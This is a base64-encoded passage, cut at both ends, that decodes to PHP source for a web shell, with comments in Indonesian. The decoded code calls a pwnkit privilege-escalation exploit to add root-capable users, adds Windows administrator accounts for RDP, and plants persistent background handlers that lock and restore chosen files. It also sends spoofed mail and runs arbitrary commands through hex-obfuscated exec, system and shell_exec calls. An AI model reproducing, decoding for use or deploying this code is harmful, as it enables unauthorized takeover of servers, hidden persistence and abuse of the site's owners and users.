J2FkZC11c2VybmFtZSddOwogICAgICAgICAgICAgICAgJHBhc3N3b3JkID0gJF9QT1NUWydhZGQtcGFzc3dvcmQnXTsKICAgICAgICAgICAgICAgIGNtZCgnLi9wd25raXQgInVzZXJhZGQgJyAuICR1c2VybmFtZSAuICcgOyBlY2hvIC1lICInIC4gJHBhc3N3b3JkIC4gJ1xuJyAuICRwYXNzd29yZCAuICciIHwgcGFzc3dkICcgLiAkdXNlcm5hbWUgLiAnIicpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9P2Q9JyAuIGh4KCRmdW5nc2lbMF0oKSkgLiAnJmFkZHVzZXI9ZmFpbGVkIj4nOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfSBlbHNlIGlmICgkX1BPU1RbJ2xvY2tmaWxlJ10gPT0gdHJ1ZSkgewogICAgICAgICRmbGVzTmFtZSA9ICRfUE9TVFsnbG9ja2ZpbGUnXTsKICAgICAgICAkVG1wTmFtZXMgPSAkZnVuZ3NpWzMxXSgpOwogICAgICAgIGlmIChmaWxlX2V4aXN0cygkVG1wTmFtZXMgLiAnLy5zZXNzaW9ucy8uJyAuIGJhc2U2NF9lbmNvZGUoJGZ1bmdzaVswXSgpIC4gcmVtb3ZlX2RvdCgkZmxlc05hbWUpIC4gJy1oYW5kbGVyJykpICYmIGZpbGVfZXhpc3RzKCRUbXBOYW1lcyAuICcvLnNlc3Npb25zLy4nIC4gcmVtb3ZlX2RvdCgkZmxlc05hbWUpIC4gJy10ZXh0JykpIHsKICAgICAgICAgICAgY21kKCdybSAtcmYgJyAuICRUbXBOYW1lcyAuICcvLnNlc3Npb25zLy4nIC4gYmFzZTY0X2VuY29kZSgkZnVuZ3NpWzBdKCkgLiByZW1vdmVfZG90KCRmbGVzTmFtZSkgLiAnLXRleHQtZmlsZScpKTsKICAgICAgICAgICAgY21kKCdybSAtcmYgJyAuICRUbXBOYW1lcyAuICcvLnNlc3Npb25zLy4nIC4gYmFzZTY0X2VuY29kZSgkZnVuZ3NpWzBdKCkgLiByZW1vdmVfZG90KCRmbGVzTmFtZSkgLiAnLWhhbmRsZXInKSk7CiAgICAgICAgfQogICAgICAgIG1rZGlyKCRUbXBOYW1lcyAuICIvLnNlc3Npb25zIik7CiAgICAgICAgY21kKCJjcCAkZmxlc05hbWUgIiAuICRUbXBOYW1lcyAuICIvLnNlc3Npb25zLy4iIC4gYmFzZTY0X2VuY29kZSgkZnVuZ3NpWzBdKCkgLiByZW1vdmVfZG90KCRmbGVzTmFtZSkgLiAnLXRleHQtZmlsZScpKTsKICAgICAgICBjaG1vZCgkZmxlc05hbWUsIDA0NDQpOwogICAgICAgICRoYW5kbGVyID0gJwo8P3BocApAaW5pX3NldCgibWF4X2V4ZWN1dGlvbl90aW1lIiwgMCk7CndoaWxlIChUcnVlKXsKICAgIGlmICghZmlsZV9leGlzdHMoIicgLiAkZnVuZ3NpWzBdKCkgLiAnIikpewogICAgICAgIG1rZGlyKCInIC4gJGZ1bmdzaVswXSgpIC4gJyIpOwogICAgfQogICAgaWYgKCFmaWxlX2V4aXN0cygiJyAuICRmdW5nc2lbMF0oKSAuICcvJyAuICRmbGVzTmFtZSAuICciKSl7CiAgICAgICAgJHRleHQgPSBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCInIC4gJFRtcE5hbWVzIC4gJy8uc2Vzc2lvbnMvLicgLiBiYXNlNjRfZW5jb2RlKCRmdW5nc2lbMF0oKSAuIHJlbW92ZV9kb3QoJGZsZXNOYW1lKSAuICctdGV4dC1maWxlJykgLiAnIikpOwogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCInIC4gJGZ1bmdzaVswXSgpIC4gJy8nIC4gJGZsZXNOYW1lIC4gJyIsIGJhc2U2NF9kZWNvZGUoJHRleHQpKTsKICAgIH0KICAgIGlmIChnZWNrb19wZXJtKCInIC4gJGZ1bmdzaVswXSgpIC4gJy8nIC4gJGZsZXNOYW1lIC4gJyIpICE9IDA0NDQpewogICAgICAgIGNobW9kKCInIC4gJGZ1bmdzaVswXSgpIC4gJy8nIC4gJGZsZXNOYW1lIC4gJyIsIDA0NDQpOwogICAgfSAKICAgIGlmIChnZWNrb19wZXJtKCInIC4gJGZ1bmdzaVswXSgpIC4gJyIpICE9IDA1NTUpewogICAgICAgIGNobW9kKCInIC4gJGZ1bmdzaVswXSgpIC4gJyIsIDA1NTUpOwogICAgfQp9CgpmdW5jdGlvbiBnZWNrb19wZXJtKCRmbGVuYW1lKXsKICAgIHJldHVybiBzdWJzdHIoc3ByaW50ZigiJW8iLCBmaWxlcGVybXMoJGZsZW5hbWUpKSwgLTQpOwp9Cic7CiAgICAgICAgJGhuZGxlcnMgPSAkZnVuZ3NpWzI4XSgkVG1wTmFtZXMgLiAiLy5zZXNzaW9ucy8uIiAuIGJhc2U2NF9lbmNvZGUoJGZ1bmdzaVswXSgpIC4gcmVtb3ZlX2RvdCgkZmxlc05hbWUpIC4gJy1oYW5kbGVyJykgLiAiIiwgJGhhbmRsZXIpOwogICAgICAgIGlmICgkaG5kbGVycykgewogICAgICAgICAgICBjbWQoJ3BocCAnIC4gJFRtcE5hbWVzIC4gJy8uc2Vzc2lvbnMvLicgLiBiYXNlNjRfZW5jb2RlKCRmdW5nc2lbMF0oKSAuIHJlbW92ZV9kb3QoJGZsZXNOYW1lKSAuICctaGFuZGxlcicpIC4gJyA+IC9kZXYvbnVsbCAyPi9kZXYvbnVsbCAmJyk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZmFpbGVkKCk7CiAgICAgICAgfQogICAgfSBlbHNlIGlmICgkX1BPU1RbJ2xvY2tmaWxlJ10gPT0gdHJ1ZSkgewogICAgICAgICRmbGVzTmFtZSA9ICRfUE9TVFsnbG9ja2ZpbGUnXTsKICAgICAgICAkVG1wTmFtZXMgPSAkZnVuZ3NpWzMxXSgpOwogICAgICAgIGlmIChmaWxlX2V4aXN0cygkVG1wTmFtZXMgLiAnLy5zZXNzaW9ucy8uJyAuIGJhc2U2NF9lbmNvZGUoJGZ1bmdzaVswXSgpIC4gcmVtb3ZlX2RvdCgkZmxlc05hbWUpIC4gJy1oYW5kbGVyJykpICYmIGZpbGVfZXhpc3RzKCRUbXBOYW1lcyAuICcvLnNlc3Npb25zLy4nIC4gcmVtb3ZlX2RvdCgkZmxlc05hbWUpIC4gJy10ZXh0JykpIHsKICAgICAgICAgICAgY21kKCdybSAtcmYgJyAuICRUbXBOYW1lcyAuICcvLnNlc3Npb25zLy4nIC4gYmFzZTY0X2VuY29kZSgkZnVuZ3NpWzBdKCkgLiByZW1vdmVfZG90KCRmbGVzTmFtZSkgLiAnLXRleHQtZmlsZScpKTsKICAgICAgICAgICAgY21kKCdybSAtcmYgJyAuICRUbXBOYW1lcyAuICcvLnNlc3Npb25zLy4nIC4gYmFzZTY0X2VuY29kZSgkZnVuZ3NpWzBdKCkgLiByZW1vdmVfZG90KCRmbGVzTmFtZSkgLiAnLWhhbmRsZXInKSk7CiAgICAgICAgfQogICAgICAgIG1rZGlyKCRUbXBOYW1lcyAuICIvLnNlc3Npb25zIik7CiAgICAgICAgY21kKCJjcCAkZmxlc05hbWUgIiAuICRUbXBOYW1lcyAuICIvLnNlc3Npb25zLy4iIC4gYmFzZTY0X2VuY29kZSgkZnVuZ3NpWzBdKCkgLiByZW1vdmVfZG90KCRmbGVzTmFtZSkgLiAnLXRleHQtZmlsZScpKTsKICAgICAgICBjaG1vZCgkZmxlc05hbWUsIDA0NDQpOwogICAgICAgICRoYW5kbGVyID0gJwo8P3BocApAaW5pX3NldCgibWF4X2V4ZWN1dGlvbl90aW1lIiwgMCk7CndoaWxlIChUcnVlKXsKICAgIGlmICghZmlsZV9leGlzdHMoIicgLiAkZnVuZ3NpWzBdKCkgLiAnIikpewogICAgICAgIG1rZGlyKCInIC4gJGZ1bmdzaVswXSgpIC4gJyIpOwogICAgfQogICAgaWYgKCFmaWxlX2V4aXN0cygiJyAuICRmdW5nc2lbMF0oKSAuICcvJyAuICRmbGVzTmFtZSAuICciKSl7CiAgICAgICAgJHRleHQgPSBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCInIC4gJFRtcE5hbWVzIC4gJy8uc2Vzc2lvbnMvLicgLiBiYXNlNjRfZW5jb2RlKCRmdW5nc2lbMF0oKSAuIHJlbW92ZV9kb3QoJGZsZXNOYW1lKSAuICctdGV4dC1maWxlJykgLiAnIikpOwogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCInIC4gJGZ1bmdzaVswXSgpIC4gJy8nIC4gJGZsZXNOYW1lIC4gJyIsIGJhc2U2NF9kZWNvZGUoJHRleHQpKTsKICAgIH0KICAgIGlmIChnZWNrb19wZXJtKCInIC4gJGZ1bmdzaVswXSgpIC4gJy8nIC4gJGZsZXNOYW1lIC4gJyIpICE9IDA0NDQpewogICAgICAgIGNobW9kKCInIC4gJGZ1bmdzaVswXSgpIC4gJy8nIC4gJGZsZXNOYW1lIC4gJyIsIDA0NDQpOwogICAgfQp9CgpmdW5jdGlvbiBnZWNrb19wZXJtKCRmbGVuYW1lKXsKICAgIHJldHVybiBzdWJzdHIoc3ByaW50ZigiJW8iLCBmaWxlcGVybXMoJGZsZW5hbWUpKSwgLTQpOwp9Cic7CiAgICAgICAgJGhuZGxlcnMgPSAkZnVuZ3NpWzI4XSgkVG1wTmFtZXMgLiAiLy5zZXNzaW9ucy8uIiAuIGJhc2U2NF9lbmNvZGUoJGZ1bmdzaVswXSgpIC4gcmVtb3ZlX2RvdCgkZmxlc05hbWUpIC4gJy1oYW5kbGVyJykgLiAiIiwgJGhhbmRsZXIpOwogICAgICAgIGlmICgkaG5kbGVycykgewogICAgICAgICAgICBjbWQoJ3BocCAnIC4gJFRtcE5hbWVzIC4gJy8uc2Vzc2lvbnMvLicgLiBiYXNlNjRfZW5jb2RlKCRmdW5nc2lbMF0oKSAuIHJlbW92ZV9kb3QoJGZsZXNOYW1lKSAuICctaGFuZGxlcicpIC4gJyA+IC9kZXYvbnVsbCAyPi9kZXYvbnVsbCAmJyk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZmFpbGVkKCk7CiAgICAgICAgfQogICAgfSBlbHNlIGlmICgkX1BPU1RbJ2xvY2std2luZG93cyddID09IFRydWUpIHsKICAgICAgICAkTmFtZVdpbiA9ICRfUE9TVFsnbG9jay13aW5kb3dzJ107CiAgICAgICAgJHRtcFBhdGggPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRmdW5nc2lbMzFdKCkpOwogICAgICAgIGlmIChzdHJzdHIoJGZ1bmdzaVs4XSgpLCAiTlQiKSkgewogICAgICAgICAgICAvLyBNZW5naGFwdXMgZmlsZQogICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHRtcFBhdGggLiAnLy5zZXNzaW9ucy8uJyAuIHJlbW92ZV9zbGFzaCh3aW5wd2QoKSAuICROYW1lV2luKSAuICd0ZXh0JykgJiYgZmlsZV9leGlzdHMoJHRtcFBhdGggLiAiLy5zZXNzaW9ucy8uIiAuIHJlbW92ZV9zbGFzaCh3aW5wd2QoKSAuICROYW1lV2luKSAuICJoYW5kbGVyIikpIHsKICAgICAgICAgICAgICAgIHVubGluaygkdG1wUGF0aCAuICcvLnNlc3Npb25zLy4nIC4gcmVtb3ZlX3NsYXNoKHdpbnB3ZCgpIC4gJE5hbWVXaW4pIC4gJ3RleHQnKTsKICAgICAgICAgICAgICAgIHVubGluaygkdG1wUGF0aCAuICIvLnNlc3Npb25zLy4iIC4gcmVtb3ZlX3NsYXNoKHdpbnB3ZCgpIC4gJE5hbWVXaW4pIC4gImhhbmRsZXIiKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gTWVtYnVhdCBGaWxlCiAgICAgICAgICAgIG1rZGlyKCR0bXBQYXRoIC4gIi8uc2Vzc2lvbnMiKTsKICAgICAgICAgICAgY29weSgkTmFtZVdpbiwgJHRtcFBhdGggLiAiLy5zZXNzaW9ucy8uIiAuIHJlbW92ZV9zbGFzaCh3aW5wd2QoKSAgLiAkTmFtZVdpbikgLiAidGV4dCIpOwoKICAgICAgICAgICAgJHB1dGNvbnRlbnQgPSAkZnVuZ3NpWzI4XSgkdG1wUGF0aCAuICIvLnNlc3Npb25zLy4iIC4gcmVtb3ZlX3NsYXNoKHdpbnB3ZCgpIC4gJE5hbWVXaW4pIC4gImhhbmRsZXIiLCAnCjw/cGhwCgpjaG1vZCgiJyAuIHdpbnB3ZCgpIC4gJy8nIC4gJE5hbWVXaW4gLiAnIiwgMDQ0NCk7CndoaWxlIChUcnVlKQp7CiAgICBpZiAoIWZpbGVfZXhpc3RzKCInIC4gd2lucHdkKCkgLiAnIikpewogICAgICAgIG1rZGlyKCInIC4gd2lucHdkKCkgLiAnIik7CiAgICB9CiAgICBpZiAoIWZpbGVfZXhpc3RzKCInIC4gd2lucHdkKCkgLiAnLycgLiAkTmFtZVdpbiAuICciKSl7CiAgICAgICAgJHRleHQgPSBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCInIC4gJHRtcFBhdGggLiAnLy5zZXNzaW9ucy8uJyAuIHJlbW92ZV9zbGFzaCh3aW5wd2QoKSAuICROYW1lV2luKSAuICd0ZXh0IikpOwogICAgICAgICR0YXJnZXQgPSAiJyAuIHdpbnB3ZCgpIC4gJy8nIC4gJE5hbWVXaW4gLiAnIjsKICAgICAgICBmaWxlX3B1dF9jb250ZW50cygkdGFyZ2V0LCBiYXNlNjRfZGVjb2RlKCR0ZXh0KSk7CiAgICB9CiAgICBpZiAoZ2Vja29fcGVybSgiJyAuIHdpbnB3ZCgpIC4gJy8nIC4gJE5hbWVXaW4gLiAnIikgIT0gMDQ0NCl7CiAgICAgICAgY2htb2QoIicgLiB3aW5wd2QoKSAuICcvJyAuICROYW1lV2luIC4gJyIsIDA0NDQpOwogICAgfQogICAgaWYgKGdlY2tvX3Blcm0oIicgLiB3aW5wd2QoKSAuICciKSAhPSAwNDQ0KXsKICAgICAgICBjaG1vZCgiJyAuIHdpbnB3ZCgpIC4gJyIsIDA0NDQpOwogICAgfQogICAgCn0KCmZ1bmN0aW9uIGdlY2tvX3Blcm0oJGZsZW5hbWUpCnsKICAgIHJldHVybiBzdWJzdHIoc3ByaW50ZigiJW8iLCBmaWxlcGVybXMoJGZsZW5hbWUpKSwgLTQpOwp9CiAgICAnKTsKICAgICAgICAgICAgaWYgKCRwdXRjb250ZW50KSB7CiAgICAgICAgICAgICAgICBpZiAoY2hlY2tfeGFtcHAoKSA9PSBUcnVlKSB7CiAgICAgICAgICAgICAgICAgICAgJHBocFggPSBnZXRjKCkgLiAiOi94YW1wcC9waHAvcGhwLmV4ZSI7CiAgICAgICAgICAgICAgICAgICAgc2Vzc2lvbl91bnNldCgpOwogICAgICAgICAgICAgICAgICAgIHNlc3Npb25fZGVzdHJveSgpOwogICAgICAgICAgICAgICAgICAgIGVjaG8gY21kKCRwaHBYIC4gJyAiJyAuICR0bXBQYXRoIC4gIi8uc2Vzc2lvbnMvLiIgLiByZW1vdmVfc2xhc2god2lucHdkKCkgLiAkTmFtZVdpbikgLiAnaGFuZGxlciIgJicpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBzZXNzaW9uX3Vuc2V0KCk7CiAgICAgICAgICAgICAgICAgICAgc2Vzc2lvbl9kZXN0cm95KCk7CiAgICAgICAgICAgICAgICAgICAgZWNobyBjbWQoJ3BocCAiJyAuICR0bXBQYXRoIC4gIi8uc2Vzc2lvbnMvLiIgLiByZW1vdmVfc2xhc2god2lucHdkKCkgLiAkTmFtZVdpbikgLiAnaGFuZGxlciIgJicpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZmFpbGVkKCk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBmYWlsZWQoKTsKICAgICAgICB9CiAgICB9IGVsc2UgaWYgKCRfUE9TVFsnYWRkLXJkcCddID09IFRydWUpIHsKICAgICAgICAkdXNlclJEUCA9ICRfUE9TVFsnYWRkLXJkcCddOwogICAgICAgICRwYXNzUkRQID0gJF9QT1NUWydhZGQtcmRwLXBhc3MnXTsKICAgICAgICBpZiAoc3RyaXN0cihQSFBfT1MsICJXSU4iKSkgewogICAgICAgICAgICAkcHJvY1JEUCA9IGNtZCgibmV0IHVzZXIgIiAuICR1c2VyUkRQIC4gIiAiIC4gJHBhc3NSRFAgLiAiIC9hZGQiKTsKICAgICAgICAgICAgaWYgKCRwcm9jUkRQKSB7CiAgICAgICAgICAgICAgICBjbWQoIm5ldCBsb2NhbGdyb3VwIGFkbWluaXN0cmF0b3JzICIgLiAkdXNlclJEUCAuICIgL2FkZCIpOwogICAgICAgICAgICAgICAgc3VjY2VzcygpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZmFpbGVkKCk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBmYWlsZWQoKTsKICAgICAgICB9CiAgICB9IGVsc2UgaWYgKCRfUE9TVFsnbWFpbC1mcm9tLXNtdHAnXSA9PSBUcnVlKSB7CiAgICAgICAgJGVtYWlsRnJvbSA9ICRfUE9TVFsnbWFpbC1mcm9tLXNtdHAnXTsKICAgICAgICAkZW1haWxUbyA9ICRfUE9TVFsnbWFpbC10by1zbXRwJ107CiAgICAgICAgJGVtYWlsU3ViamVjdCA9ICRfUE9TVFsnbWFpbHRvLXN1YmplY3QnXTsKICAgICAgICAkbWVzc2FnZU1haWwgPSAkX1BPU1RbJ21lc3NhZ2Utc210cCddOwogICAgICAgICRoZWFkZXJzTWFpbCA9ICdGcm9tOiAnIC4gJGVtYWlsRnJvbSAuICcnIC4gIlxyXG4iIC4KICAgICAgICAgICAgJ1JlcGx5LVRvOiAnIC4gJGVtYWlsRnJvbSAuICcnIC4gIlxyXG4iIC4KICAgICAgICAgICAgJ1gtTWFpbGVyOiBQSFAvJyAuIHBocHZlcnNpb24oKTsKICAgICAgICAkcHJvY01haWxTbVRwID0gbWFpbCgkZW1haWxUbywgJGVtYWlsU3ViamVjdCwgJG1lc3NhZ2VNYWlsLCAkaGVhZGVyc01haWwpOwogICAgICAgIGlmICgkcHJvY01haWxTbVRwKSB7CiAgICAgICAgICAgIHN1Y2Nlc3MoKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBmYWlsZWQoKTsKICAgICAgICB9CiAgICB9Cn0KCmlmICgkX0dFVFsncmVzcG9uc2UnXSA9PSAic3VjY2VzcyIpIHsKICAgIGVjaG8gIjxzY3JpcHQ+ClN3YWwuZmlyZSh7CiAgICBpY29uOiAnc3VjY2VzcycsCiAgICB0aXRsZTogJ1N1Y2Vzc3MuLi4nLAogICAgdGV4dDogJ0RvbmUgU3VjY2VzcyEnLAogICAgY29uZmlybUJ1dHRvbkNvbG9yOiAnIzIyMjQyZCcsCn0pPC9zY3JpcHQ+IjsKfSBlbHNlIGlmICgkX0dFVFsncmVzcG9uc2UnXSA9PSAiZmFpbGVkIikgewogICAgZWNobyAiPHNjcmlwdD4KU3dhbC5maXJlKHsKICAgIGljb246ICdlcnJvcicsCiAgICB0aXRsZTogJ0ZhaWxlZC4uLicsCiAgICB0ZXh0OiAnU29tZXRoaW5nIHdyb25nIScsCiAgICBjb25maXJtQnV0dG9uQ29sb3I6ICcjMjIyNDJkJywKfSkKICAgIDwvc2NyaXB0PiI7Cn0KCgpmdW5jdGlvbiBzdWNjZXNzKCkKewogICAgZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9P2Q9JyAuIGh4KCRHTE9CQUxTWydmdW5nc2knXVswXSgpKSAuICcmcmVzcG9uc2U9c3VjY2VzcyI+JzsKfQpmdW5jdGlvbiBmYWlsZWQoKQp7CiAgICBlY2hvICc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO3VybD0/ZD0nIC4gaHgoJEdMT0JBTFNbJ2Z1bmdzaSddWzBdKCkpIC4gJyZyZXNwb25zZT1mYWlsZWQiPic7Cn0KCmZ1bmN0aW9uIGZvcm1hdFNpemUoJGJ5dGVzKQp7CiAgICAkdHlwZXMgPSBhcnJheSgnPHNwYW4gY2xhc3M9ImZpbGUtc2l6ZSI+Qjwvc3Bhbj4nLCAnPHNwYW4gY2xhc3M9ImZpbGUtc2l6ZSI+S0I8L3NwYW4+JywgJzxzcGFuIGNsYXNzPSJmaWxlLXNpemUiPk1CPC9zcGFuPicsICc8c3BhbiBjbGFzcz0iZmlsZS1zaXplIj5HQjwvc3Bhbj4nLCAnPHNwYW4gY2xhc3M9ImZpbGUtc2l6ZSI+VEI8L3NwYW4+Jyk7CiAgICBmb3IgKCRpID0gMDsgJGJ5dGVzID49IDEwMjQgJiYgJGkgPCAoY291bnQoJHR5cGVzKSAtIDEpOyAkYnl0ZXMgLz0gMTAyNCwgJGkrKyk7CiAgICByZXR1cm4gKHJvdW5kKCRieXRlcywgMikgLiAiICIgLiAkdHlwZXNbJGldKTsKfQoKCmZ1bmN0aW9uIGh4KCRuKQp7CiAgICAkeSA9ICcnOwogICAgZm9yICgkaSA9IDA7ICRpIDwgc3RybGVuKCRuKTsgJGkrKykgewogICAgICAgICR5IC49IGRlY2hleChvcmQoJG5bJGldKSk7CiAgICB9CiAgICByZXR1cm4gJHk7Cn0KZnVuY3Rpb24gdW54KCR5KQp7CiAgICAkbiA9ICcnOwogICAgZm9yICgkaSA9IDA7ICRpIDwgc3RybGVuKCR5KSAtIDE7ICRpICs9IDIpIHsKICAgICAgICAkbiAuPSBjaHIoaGV4ZGVjKCR5WyRpXSAuICR5WyRpICsgMV0pKTsKICAgIH0KICAgIHJldHVybiAkbjsKfQoKZnVuY3Rpb24gc3VnZ2VzdF9leHBsb2l0KCkKewogICAgJHVuYW1lID0gJEdMT0JBTFNbJ2Z1bmdzaSddWzhdKCk7CiAgICAkeHBsb2QgPSBleHBsb2RlKCIgIiwgJHVuYW1lKTsKICAgICR4cGxkID0gZXhwbG9kZSgiLSIsICR4cGxvZFsyXSk7CiAgICAkcGwgPSBleHBsb2RlKCIuIiwgJHhwbGRbMF0pOwogICAgcmV0dXJuICRwbFswXSAuICIuIiAuICRwbFsxXSAuICIuIiAuICRwbFsyXTsKfQpmdW5jdGlvbiBzKCkKewogICAgJGQwbWFpbnMgPSBAJEdMT0JBTFNbJ2Z1bmdzaSddWzddKCIvZXRjL25hbWVkLmNvbmYiLCBmYWxzZSk7CiAgICBpZiAoISRkMG1haW5zKSB7CiAgICAgICAgJGRvbSA9ICI8Zm9udCBjb2xvcj1yZWQgc2l6ZT0ycHg+Q2FudCBSZWFkIFsgL2V0Yy9uYW1lZC5jb25mIF08L2ZvbnQ+IjsKICAgICAgICAkR0xPQkFMU1sibmVlZF90b191cGRhdGVfaGVhZGVyIl0gPSAidHJ1ZSI7CiAgICB9IGVsc2UgewogICAgICAgICRjb3VudCA9IDA7CiAgICAgICAgZm9yZWFjaCAoJGQwbWFpbnMgYXMgJGQwbWFpbikgewogICAgICAgICAgICBpZiAoQHN0cnN0cigkZDBtYWluLCAiem9uZSIpKSB7CiAgICAgICAgICAgICAgICBwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsKICAgICAgICAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgICAgICAgICBpZiAoc3RybGVuKHRyaW0oJGRvbWFpbnNbMV1bMF0pKSA+IDIpIHsKICAgICAgICAgICAgICAgICAgICBmbHVzaCgpOwogICAgICAgICAgICAgICAgICAgICRjb3VudCsrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRkb20gPSAiJGNvdW50IERvbWFpbiI7CiAgICB9CiAgICByZXR1cm4gJGRvbTsKfQoKZnVuY3Rpb24gY21kKCRpbiwgJHJlID0gZmFsc2UpCnsKICAgICRvdXQgPSAnJzsKICAgIHRyeSB7CiAgICAgICAgaWYgKCRyZSkgJGluID0gJGluIC4gIiAyPiYxIjsKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCJceDY1XHg3OFx4NjVceDYzIikpIHsKICAgICAgICAgICAgQCRHTE9CQUxTWydmdW5nc2knXVsxNl0oJGluLCAkb3V0KTsKICAgICAgICAgICAgJG91dCA9IEBqb2luKCJcbiIsICRvdXQpOwogICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoIlx4NzBceDYxXHg3M1x4NzNceDc0XHg2OFx4NzJceDc1IikpIHsKICAgICAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICAgICAgQCRHTE9CQUxTWydmdW5nc2knXVsxN10oJGluKTsKICAgICAgICAgICAgJG91dCA9IG9iX2dldF9jbGVhbigpOwogICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoIlx4NzNceDc5XHg3M1x4NzRceDY1XHg2ZCIpKSB7CiAgICAgICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgICAgIEAkR0xPQkFMU1snZnVuZ3NpJ11bMThdKCRpbik7CiAgICAgICAgICAgICRvdXQgPSBvYl9nZXRfY2xlYW4oKTsKICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCJceDczXHg2OFx4NjVceDZjXHg2Y1x4NWZceDY1XHg3OFx4NjVceDYzIikpIHsKICAgICAgICAgICAgJG91dCA9ICRHTE9CQUxTWydmdW5nc2knXVsxOV0oJGluKTsKICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCJceDcwXHg2Zlx4NzBceDY1XHg2ZSIpICYmIGZ1bmN0aW9uX2V4aXN0cygiXHg3MFx4NjNceDZjXHg2Zlx4NzNceDY1IikpIHsKICAgICAgICAgICAgaWYgKGlzX3Jlc291cmNlKCRmID0gQCRHTE9CQUxTWydmdW5nc2knXVsyMF0oJGluLCAiciIpKSkgewogICAgICAgICAgICAgICAgJG91dCA9ICIiOwogICAgICAgICAgICAgICAgd2hpbGUgKCFAZmVvZigkZikpCiAgICAgICAgICAgICAgICAgICAgJG91dCAuPSBmcmVhZCgkZiwgMTAyNCk7CiAgICAgICAgICAgICAgICAkR0xPQkFMU1snZnVuZ3NpJ11bMjFdKCRmKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoIlx4NzBceDcyXHg2Zlx4NjNceDVmXHg2Zlx4NzBceDY1XHg2ZSIpKSB7CiAgICAgICAgICAgICRwaXBlcyA9IGFycmF5KCk7CiAgICAgICAgICAgICRwcm9jZXNzID0gQCRHTE9CQUxTWydmdW5nc2knXVsyM10oJGluIC4gJyAyPiYxJywgYXJyYXkoYXJyYXkoInBpcGUiLCAidyIpLCBhcnJheSgicGlwZSIsICJ3IiksIGFycmF5KCJwaXBlIiwgInciKSksICRwaXBlcywgbnVsbCk7CiAgICAgICAgICAgICRvdXQgPSBAJEdMT0JBTFNbJ2Z1bmdzaSddWzIyXSgkcGlwZXNbMV0pOwogICAgICAgIH0gZWxzZWlmIChjbGFzc19leGlzdHMoJ0NPTScpKSB7CiAgICAgICAgICAgICRhbGZhV3MgPSBuZXcgQ09NKCdXU2NyaXB0LnNoZWxsJyk7CiAgICAgICAgICAgICRleGVjID0gJGFsZmFXcy0+JEdMT0JBTFNbJ2Z1bmdzaSddWzE2XSgnY21kLmV4ZSAvYyAnIC4gJF9QT1NUWydhbGZhMSddKTsKICAgICAgICAgICAgJHN0ZG91dCA9ICRleGVjLT5TdGRPdXQoKTsKICAgICAgICAgICAgJG91dCA9ICRzdGRvdXQtPlJlYWRBbGwoKTsKICAgICAgICB9CiAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgIH0KICAgIHJldHVybiAkb3V0Owp9CgoKZnVuY3Rpb24gd2lucHdkKCkKewogICAgcmV0dXJuIHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJEdMT0JBTFNbJ2Z1bmdzaSddWzBdKCkpOwp9CgpmdW5jdGlvbiByZW1vdmVfc2xhc2goJHZhbCkKewogICAgJHRleCA9IHN0cl9yZXBsYWNlKCIvIiwgIiIsICR2YWwpOwogICAgJHRleDEgPSBzdHJfcmVwbGFjZSgiOiIsICIiLCAkdGV4KTsKICAgICR0ZXgyID0gc3RyX3JlcGxhY2UoIl8iLCAiIiwgJHRleDEpOwogICAgJHRleDMgPSBzdHJfcmVwbGFjZSgiICIsICIiLCAkdGV4Mik7CiAgICAkdGV4NCA9IHN0cl9yZXBsYWNlKCIuIiwgIiIsICR0ZXgzKTsKICAgIHJldHVybiAkdGV4NDsKfQoKZnVuY3Rpb24gZ2V0YygpCnsKICAgICRwID0gZ2V0ZW52KCdNSUJESVJTJyk7CiAgICAkcmVhZCA9IGV4cGxvZGUoIjoiLCAkcCk7CiAgICByZXR1cm4gJHJlYWRbMF07Cn0KCgpmdW5jdGlvbiBjaGVja194YW1wcCgpCnsKICAgICRteXNxbCA9IGdldGVudignTVlTUUxfSE9NRScpOwogICAgaWYgKHN0cnN0cigkbXlzcWwsICJ4YW1wcCIpKSB7CiAgICAgICAgcmV0dXJuIFRydWU7CiAgICB9IGVsc2UgewogICAgICAgIHJldHVybiBGYWxzZTsKICAgIH0KfQoKZnVuY3Rpb24gdW5saW5rRGlyKCRkaXIpCnsKICAgICRka